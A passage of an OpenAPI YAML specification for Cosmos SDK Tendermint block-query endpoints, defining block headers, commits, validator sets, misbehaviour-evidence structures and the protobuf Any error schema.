- SIGNED_MSG_TYPE_PREVOTE: Votes | |
- SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
timestamp: | |
type: string | |
format: date-time | |
validator_address: | |
type: string | |
format: byte | |
validator_index: | |
type: integer | |
format: int32 | |
signature: | |
type: string | |
format: byte | |
description: >- | |
Vote represents a prevote, precommit, or | |
commit vote from validators for | |
consensus. | |
total_voting_power: | |
type: string | |
format: int64 | |
validator_power: | |
type: string | |
format: int64 | |
timestamp: | |
type: string | |
format: date-time | |
description: >- | |
DuplicateVoteEvidence contains evidence of a | |
validator signed two conflicting votes. | |
light_client_attack_evidence: | |
type: object | |
properties: | |
conflicting_block: | |
type: object | |
properties: | |
signed_header: | |
type: object | |
properties: | |
header: | |
type: object | |
properties: | |
version: | |
title: basic block info | |
type: object | |
properties: | |
block: | |
type: string | |
format: uint64 | |
app: | |
type: string | |
format: uint64 | |
description: >- | |
Consensus captures the consensus rules | |
for processing a block in the | |
blockchain, | |
including all blockchain data structures | |
and the rules of the application's | |
state transition machine. | |
chain_id: | |
type: string | |
height: | |
type: string | |
format: int64 | |
time: | |
type: string | |
format: date-time | |
last_block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
last_commit_hash: | |
type: string | |
format: byte | |
title: hashes of block data | |
data_hash: | |
type: string | |
format: byte | |
validators_hash: | |
type: string | |
format: byte | |
title: >- | |
hashes from the app output from the prev | |
block | |
next_validators_hash: | |
type: string | |
format: byte | |
consensus_hash: | |
type: string | |
format: byte | |
app_hash: | |
type: string | |
format: byte | |
last_results_hash: | |
type: string | |
format: byte | |
evidence_hash: | |
type: string | |
format: byte | |
title: consensus info | |
proposer_address: | |
type: string | |
format: byte | |
description: >- | |
Header defines the structure of a | |
Tendermint block header. | |
commit: | |
type: object | |
properties: | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
signatures: | |
type: array | |
items: | |
type: object | |
properties: | |
block_id_flag: | |
type: string | |
enum: | |
- BLOCK_ID_FLAG_UNKNOWN | |
- BLOCK_ID_FLAG_ABSENT | |
- BLOCK_ID_FLAG_COMMIT | |
- BLOCK_ID_FLAG_NIL | |
default: BLOCK_ID_FLAG_UNKNOWN | |
title: >- | |
BlockIdFlag indicates which BlcokID the | |
signature is for | |
validator_address: | |
type: string | |
format: byte | |
timestamp: | |
type: string | |
format: date-time | |
signature: | |
type: string | |
format: byte | |
description: >- | |
CommitSig is a part of the Vote included | |
in a Commit. | |
description: >- | |
Commit contains the evidence that a | |
block was committed by a set of | |
validators. | |
validator_set: | |
type: object | |
properties: | |
validators: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
format: byte | |
pub_key: | |
type: object | |
properties: | |
ed25519: | |
type: string | |
format: byte | |
secp256k1: | |
type: string | |
format: byte | |
title: >- | |
PublicKey defines the keys available for | |
use with Tendermint Validators | |
voting_power: | |
type: string | |
format: int64 | |
proposer_priority: | |
type: string | |
format: int64 | |
proposer: | |
type: object | |
properties: | |
address: | |
type: string | |
format: byte | |
pub_key: | |
type: object | |
properties: | |
ed25519: | |
type: string | |
format: byte | |
secp256k1: | |
type: string | |
format: byte | |
title: >- | |
PublicKey defines the keys available for | |
use with Tendermint Validators | |
voting_power: | |
type: string | |
format: int64 | |
proposer_priority: | |
type: string | |
format: int64 | |
total_voting_power: | |
type: string | |
format: int64 | |
common_height: | |
type: string | |
format: int64 | |
byzantine_validators: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
format: byte | |
pub_key: | |
type: object | |
properties: | |
ed25519: | |
type: string | |
format: byte | |
secp256k1: | |
type: string | |
format: byte | |
title: >- | |
PublicKey defines the keys available for | |
use with Tendermint Validators | |
voting_power: | |
type: string | |
format: int64 | |
proposer_priority: | |
type: string | |
format: int64 | |
total_voting_power: | |
type: string | |
format: int64 | |
timestamp: | |
type: string | |
format: date-time | |
description: >- | |
LightClientAttackEvidence contains evidence of a | |
set of validators attempting to mislead a light | |
client. | |
last_commit: | |
type: object | |
properties: | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
signatures: | |
type: array | |
items: | |
type: object | |
properties: | |
block_id_flag: | |
type: string | |
enum: | |
- BLOCK_ID_FLAG_UNKNOWN | |
- BLOCK_ID_FLAG_ABSENT | |
- BLOCK_ID_FLAG_COMMIT | |
- BLOCK_ID_FLAG_NIL | |
default: BLOCK_ID_FLAG_UNKNOWN | |
title: >- | |
BlockIdFlag indicates which BlcokID the | |
signature is for | |
validator_address: | |
type: string | |
format: byte | |
timestamp: | |
type: string | |
format: date-time | |
signature: | |
type: string | |
format: byte | |
description: >- | |
CommitSig is a part of the Vote included in a | |
Commit. | |
description: >- | |
Commit contains the evidence that a block was committed by | |
a set of validators. | |
description: >- | |
Block is tendermint type Block, with the Header proposer | |
address | |
field converted to bech32 string. | |
description: >- | |
GetLatestBlockResponse is the response type for the | |
Query/GetLatestBlock RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Service | |
/cosmos/base/tendermint/v1beta1/blocks/{height}: | |
get: | |
summary: GetBlockByHeight queries block for given height. | |
operationId: GetBlockByHeight | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
block: | |
title: 'Deprecated: please use `sdk_block` instead' | |
type: object | |
properties: | |
header: | |
type: object | |
properties: | |
version: | |
title: basic block info | |
type: object | |
properties: | |
block: | |
type: string | |
format: uint64 | |
app: | |
type: string | |
format: uint64 | |
description: >- | |
Consensus captures the consensus rules for processing | |
a block in the blockchain, | |
including all blockchain data structures and the rules | |
of the application's | |
state transition machine. | |
chain_id: | |
type: string | |
height: | |
type: string | |
format: int64 | |
time: | |
type: string | |
format: date-time | |
last_block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
last_commit_hash: | |
type: string | |
format: byte | |
title: hashes of block data | |
data_hash: | |
type: string | |
format: byte | |
validators_hash: | |
type: string | |
format: byte | |
title: hashes from the app output from the prev block | |
next_validators_hash: | |
type: string | |
format: byte | |
consensus_hash: | |
type: string | |
format: byte | |
app_hash: | |
type: string | |
format: byte | |
last_results_hash: | |
type: string | |
format: byte | |
evidence_hash: | |
type: string | |
format: byte | |
title: consensus info | |
proposer_address: | |
type: string | |
format: byte | |
description: Header defines the structure of a Tendermint block header. | |
data: | |
type: object | |
properties: | |
txs: | |
type: array | |
items: | |
type: string | |
format: byte | |
description: >- | |
Txs that will be applied by state @ block.Height+1. | |
NOTE: not all txs here are valid. We're just agreeing | |
on the order first. | |
This means that block.AppHash does not include these | |
txs. | |
title: >- | |
Data contains the set of transactions included in the | |
block | |
evidence: | |
type: object | |
properties: | |
evidence: | |
type: array | |
items: | |
type: object | |
properties: | |
duplicate_vote_evidence: | |
type: object | |
properties: | |
vote_a: | |
type: object | |
properties: | |
type: | |
type: string | |
enum: | |
- SIGNED_MSG_TYPE_UNKNOWN | |
- SIGNED_MSG_TYPE_PREVOTE | |
- SIGNED_MSG_TYPE_PRECOMMIT | |
- SIGNED_MSG_TYPE_PROPOSAL | |
default: SIGNED_MSG_TYPE_UNKNOWN | |
description: >- | |
SignedMsgType is a type of signed | |
message in the consensus. | |
- SIGNED_MSG_TYPE_PREVOTE: Votes | |
- SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
timestamp: | |
type: string | |
format: date-time | |
validator_address: | |
type: string | |
format: byte | |
validator_index: | |
type: integer | |
format: int32 | |
signature: | |
type: string | |
format: byte | |
description: >- | |
Vote represents a prevote, precommit, or | |
commit vote from validators for | |
consensus. | |
vote_b: | |
type: object | |
properties: | |
type: | |
type: string | |
enum: | |
- SIGNED_MSG_TYPE_UNKNOWN | |
- SIGNED_MSG_TYPE_PREVOTE | |
- SIGNED_MSG_TYPE_PRECOMMIT | |
- SIGNED_MSG_TYPE_PROPOSAL | |
default: SIGNED_MSG_TYPE_UNKNOWN | |
description: >- | |
SignedMsgType is a type of signed | |
message in the consensus. | |
- SIGNED_MSG_TYPE_PREVOTE: Votes | |
- SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
timestamp: | |
type: string | |
format: date-time | |
validator_address: | |
type: string | |
format: byte | |
validator_index: | |
type: integer | |
format: int32 | |
signature: | |
type: string | |
format: byte | |
description: >- | |
Vote represents a prevote, precommit, or | |
commit vote from validators for | |
consensus. | |
total_voting_power: | |
type: string | |
format: int64 | |
validator_power: | |
type: string | |
format: int64 | |
timestamp: | |
type: string | |
format: date-time | |
description: >- | |
DuplicateVoteEvidence contains evidence of a | |
validator signed two conflicting votes. | |
light_client_attack_evidence: | |
type: object | |
properties: | |
conflicting_block: | |
type: object | |
properties: | |
signed_header: | |
type: object | |
properties: | |
header: | |
type: object | |
properties: | |
version: | |
title: basic block info | |
type: object | |
properties: | |
block: | |
type: string | |
format: uint64 | |
app: | |
type: string | |
format: uint64 | |
description: >- | |
Consensus captures the consensus rules | |
for processing a block in the | |
blockchain, | |
including all blockchain data structures | |
and the rules of the application's | |
state transition machine. | |
chain_id: | |
type: string | |
height: | |
type: string | |
format: int64 | |
time: | |
type: string | |
format: date-time | |
last_block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
last_commit_hash: | |
type: string | |
format: byte | |
title: hashes of block data | |
data_hash: | |
type: string | |
format: byte | |
validators_hash: | |
type: string | |
format: byte | |
title: >- | |
hashes from the app output from the prev | |
block | |
next_validators_hash: | |
type: string | |
format: byte | |
consensus_hash: | |
type: string | |
format: byte | |
app_hash: | |
type: string | |
format: byte | |
last_results_hash: | |
type: string | |
format: byte | |
evidence_hash: | |
type: string | |
format: byte | |
title: consensus info | |
proposer_address: | |
type: string | |
format: byte | |
description: >- | |
Header defines the structure of a | |
Tendermint block header. | |
commit: | |
type: object | |
properties: | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
signatures: | |
type: array | |
items: | |
type: object | |
properties: | |
block_id_flag: | |
type: string | |
enum: | |
- BLOCK_ID_FLAG_UNKNOWN | |
- BLOCK_ID_FLAG_ABSENT | |
- BLOCK_ID_FLAG_COMMIT | |
- BLOCK_ID_FLAG_NIL | |
default: BLOCK_ID_FLAG_UNKNOWN | |
title: >- | |
BlockIdFlag indicates which BlcokID the | |
signature is for | |
validator_address: | |
type: string | |
format: byte | |
timestamp: | |
type: string | |
format: date-time | |
signature: | |
type: string | |
format: byte | |
description: >- | |
CommitSig is a part of the Vote included | |
in a Commit. | |
description: >- | |
Commit contains the evidence that a | |
block was committed by a set of | |
validators. | |
validator_set: | |
type: object | |
properties: | |
validators: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
format: byte | |
pub_key: | |
type: object | |
properties: | |
ed25519: | |
type: string | |
format: byte | |
secp256k1: | |
type: string | |
format: byte | |
title: >- | |
PublicKey defines the keys available for | |
use with Tendermint Validators | |
voting_power: | |
type: string | |
format: int64 | |
proposer_priority: | |
type: string | |
format: int64 | |
proposer: | |
type: object | |
properties: | |
address: | |
type: string | |
format: byte | |
pub_key: | |
type: object | |
properties: | |
ed25519: | |
type: string | |
format: byte | |
secp256k1: | |
type: string | |
format: byte | |
title: >- | |
PublicKey defines the keys available for | |
use with Tendermint Validators | |
voting_power: | |
type: string | |
format: int64 | |
proposer_priority: | |
type: string | |
format: int64 | |
total_voting_power: | |
type: string | |
format: int64 | |
common_height: | |
type: string | |
format: int64 | |
byzantine_validators: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
format: byte | |
pub_key: | |
type: object | |
properties: | |
ed25519: | |
type: string | |
format: byte | |
secp256k1: | |
type: string | |
format: byte | |
title: >- | |
PublicKey defines the keys available for | |
use with Tendermint Validators | |
voting_power: | |
type: string | |
format: int64 | |
proposer_priority: | |
type: string | |
format: int64 | |
total_voting_power: | |
type: string | |
format: int64 | |
timestamp: | |
type: string | |
format: date-time | |
description: >- | |
LightClientAttackEvidence contains evidence of a | |
set of validators attempting to mislead a light | |
client. | |
last_commit: | |
type: object | |
properties: | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
signatures: | |
type: array | |
items: | |
type: object | |
properties: | |
block_id_flag: | |
type: string | |
enum: | |
- BLOCK_ID_FLAG_UNKNOWN | |
- BLOCK_ID_FLAG_ABSENT | |
- BLOCK_ID_FLAG_COMMIT | |
- BLOCK_ID_FLAG_NIL | |
default: BLOCK_ID_FLAG_UNKNOWN | |
title: >- | |
BlockIdFlag indicates which BlcokID the | |
signature is for | |
validator_address: | |
type: string | |
format: byte | |
timestamp: | |
type: string | |
format: date-time | |
signature: | |
type: string | |
format: byte | |
description: >- | |
CommitSig is a part of the Vote included in a | |
Commit. | |
description: >- | |
Commit contains the evidence that a block was committed by | |
a set of validators. | |
sdk_block: | |
title: 'Since: cosmos-sdk 0.47' | |
type: object | |
properties: | |
header: | |
type: object | |
properties: | |
version: | |
title: basic block info | |
type: object | |
properties: | |
block: | |
type: string | |
format: uint64 | |
app: | |
type: string | |
format: uint64 | |
description: >- | |
Consensus captures the consensus rules for processing | |
a block in the blockchain, | |
including all blockchain data structures and the rules | |
of the application's | |
state transition machine. | |
chain_id: | |
type: string | |
height: | |
type: string | |
format: int64 | |
time: | |
type: string | |
format: date-time | |
last_block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
last_commit_hash: | |
type: string | |
format: byte | |
title: hashes of block data | |
data_hash: | |
type: string | |
format: byte | |
validators_hash: | |
type: string | |
format: byte | |
title: hashes from the app output from the prev block | |
next_validators_hash: | |
type: string | |
format: byte | |
consensus_hash: | |
type: string | |
format: byte | |
app_hash: | |
type: string | |
format: byte | |
last_results_hash: | |
type: string | |
format: byte | |
evidence_hash: | |
type: string | |
format: byte | |
title: consensus info | |
proposer_address: | |
type: string | |
description: >- | |
proposer_address is the original block proposer | |
address, formatted as a Bech32 string. | |
In Tendermint, this type is `bytes`, but in the SDK, | |
we convert it to a Bech32 string | |
for better UX. | |
description: Header defines the structure of a Tendermint block header. | |
data: | |
type: object | |
properties: | |
txs: | |
type: array | |
items: | |
type: string | |
format: byte | |
description: >- | |
Txs that will be applied by state @ block.Height+1. | |
NOTE: not all txs here are valid. We're just agreeing | |
on the order first. | |
This means that block.AppHash does not include these | |
txs. | |
title: >- | |
Data contains the set of transactions included in the | |
block | |
evidence: | |
type: object | |
properties: | |
evidence: | |
type: array | |
items: | |
type: object | |
properties: | |
duplicate_vote_evidence: | |
type: object | |
properties: | |
vote_a: | |
type: object | |
properties: | |
type: | |
type: string | |
enum: | |
- SIGNED_MSG_TYPE_UNKNOWN | |
- SIGNED_MSG_TYPE_PREVOTE | |
- SIGNED_MSG_TYPE_PRECOMMIT | |
- SIGNED_MSG_TYPE_PROPOSAL | |
default: SIGNED_MSG_TYPE_UNKNOWN | |
description: >- | |
SignedMsgType is a type of signed | |
message in the consensus. | |
- SIGNED_MSG_TYPE_PREVOTE: Votes | |
- SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
timestamp: | |
type: string | |
format: date-time | |
validator_address: | |
type: string | |
format: byte | |
validator_index: | |
type: integer | |
format: int32 | |
signature: | |
type: string | |
format: byte | |
description: >- | |
Vote represents a prevote, precommit, or | |
commit vote from validators for | |
consensus. | |
vote_b: | |
type: object | |
properties: | |
type: | |
type: string | |
enum: | |
- SIGNED_MSG_TYPE_UNKNOWN | |
- SIGNED_MSG_TYPE_PREVOTE | |
- SIGNED_MSG_TYPE_PRECOMMIT | |
- SIGNED_MSG_TYPE_PROPOSAL | |
default: SIGNED_MSG_TYPE_UNKNOWN | |
description: >- | |
SignedMsgType is a type of signed | |
message in the consensus. | |
- SIGNED_MSG_TYPE_PREVOTE: Votes | |
- SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
timestamp: | |
type: string | |
format: date-time | |
validator_address: | |
type: string | |
format: byte | |
validator_index: | |
type: integer | |
format: int32 | |
signature: | |
type: string | |
format: byte | |
description: >- | |
Vote represents a prevote, precommit, or | |
commit vote from validators for | |
consensus. | |
total_voting_power: | |
type: string | |
format: int64 | |
validator_power: | |
type: string | |
format: int64 | |
timestamp: | |
type: string | |
format: date-time | |
description: >- | |
DuplicateVoteEvidence contains evidence of a | |
validator signed two conflicting votes. | |
light_client_attack_evidence: | |
type: object | |
properties: | |
conflicting_block: | |
type: object | |
properties: | |
signed_header: | |
type: object | |
properties: | |
header: | |
type: object | |
properties: | |
version: | |
title: basic block info | |
type: object | |
properties: | |
block: | |
type: string | |
format: uint64 | |
app: | |
type: string | |
format: uint64 | |
description: >- | |
Consensus captures the consensus rules | |
for processing a block in the | |
blockchain, | |
including all blockchain data structures | |
and the rules of the application's | |
state transition machine. | |
chain_id: | |
type: string | |
height: | |
type: string | |
format: int64 | |
time: | |
type: string | |
format: date-time | |
last_block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
last_commit_hash: | |
type: string | |
format: byte | |
title: hashes of block data | |
data_hash: | |
type: string | |
format: byte | |
validators_hash: | |
type: string | |
format: byte | |
title: >- | |
hashes from the app output from the prev | |
block | |
next_validators_hash: | |
type: string | |
format: byte | |
consensus_hash: | |
type: string | |
format: byte | |
app_hash: | |
type: string | |
format: byte | |
last_results_hash: | |
type: string | |
format: byte | |
evidence_hash: | |
type: string | |
format: byte | |
title: consensus info | |
proposer_address: | |
type: string | |
format: byte | |
description: >- | |
Header defines the structure of a | |
Tendermint block header. | |
commit: | |
type: object | |
properties: | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
signatures: | |
type: array | |
items: | |
type: object | |
properties: | |
block_id_flag: | |
type: string | |
enum: | |
- BLOCK_ID_FLAG_UNKNOWN | |
- BLOCK_ID_FLAG_ABSENT | |
- BLOCK_ID_FLAG_COMMIT | |
- BLOCK_ID_FLAG_NIL | |
default: BLOCK_ID_FLAG_UNKNOWN | |
title: >- | |
BlockIdFlag indicates which BlcokID the | |
signature is for | |
validator_address: | |
type: string | |
format: byte | |
timestamp: | |
type: string | |
format: date-time | |
signature: | |
type: string | |
format: byte | |
description: >- | |
CommitSig is a part of the Vote included | |
in a Commit. | |
description: >- | |
Commit contains the evidence that a | |
block was committed by a set of | |
validators. | |
validator_set: | |
type: object | |
properties: | |
validators: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
format: byte | |
pub_key: | |
type: object | |
properties: | |
ed25519: | |
type: string | |
format: byte | |
secp256k1: | |
type: string | |
format: byte | |
title: >- | |
PublicKey defines the keys available for | |
use with Tendermint Validators | |
voting_power: | |
type: string | |
format: int64 | |
proposer_priority: | |
type: string | |
format: int64 | |
proposer: | |
type: object | |
properties: | |
address: | |
type: string | |
format: byte | |
pub_key: | |
type: object | |
properties: | |
ed25519: | |
type: string | |
format: byte | |
secp256k1: | |
type: string | |
format: byte | |
title: >- | |
PublicKey defines the keys available for | |
use with Tendermint Validators | |
voting_power: | |
type: string | |
format: int64 | |
proposer_priority: | |
type: string | |
format: int64 | |
total_voting_power: | |
type: string | |
format: int64 | |
common_height: | |
type: string | |
format: int64 | |
byzantine_validators: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
format: byte | |
pub_key: | |
type: object | |
properties: | |
ed25519: | |
type: string | |
format: byte | |
secp256k1: | |
type: string | |
format: byte | |
title: >- | |
PublicKey defines the keys available for | |
use with Tendermint Validators | |
voting_power: | |
type: string | |
format: int64 | |
proposer_priority: | |
type: string | |
format: int64 | |
total_voting_power: | |
type: string | |
format: int64 | |
timestamp: | |
type: string | |
format: date-time | |
description: >- | |
LightClientAttackEvidence contains evidence of a | |
set of validators attempting to mislead a light | |
client. | |
last_commit: | |
type: object | |
properties: | |
height: | |
type: string | |
format: int64 | |
round: | |
type: integer | |
format: int32 | |
block_id: | |
type: object | |
properties: | |
hash: | |
type: string | |
format: byte | |
part_set_header: | |
type: object | |
properties: | |
total: | |
type: integer | |
format: int64 | |
hash: | |
type: string | |
format: byte | |
title: PartsetHeader | |
title: BlockID | |
signatures: | |
type: array | |
items: | |
type: object | |
properties: | |
block_id_flag: | |
type: string | |
enum: | |
- BLOCK_ID_FLAG_UNKNOWN | |
- BLOCK_ID_FLAG_ABSENT | |
- BLOCK_ID_FLAG_COMMIT | |
- BLOCK_ID_FLAG_NIL | |
default: BLOCK_ID_FLAG_UNKNOWN | |
title: >- | |
BlockIdFlag indicates which BlcokID the | |
signature is for | |
validator_address: | |
type: string | |
format: byte | |
timestamp: | |
type: string | |
format: date-time | |
signature: | |
type: string | |
format: byte | |
description: >- | |
CommitSig is a part of the Vote included in a | |
Commit. | |
description: >- | |
Commit contains the evidence that a block was committed by | |
a set of validators. | |
description: >- | |
Block is tendermint type Block, with the Header proposer | |
address | |
field converted to bech32 string. | |
description: >- | |
GetBlockByHeightResponse is the response type for the | |
Query/GetBlockByHeight RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
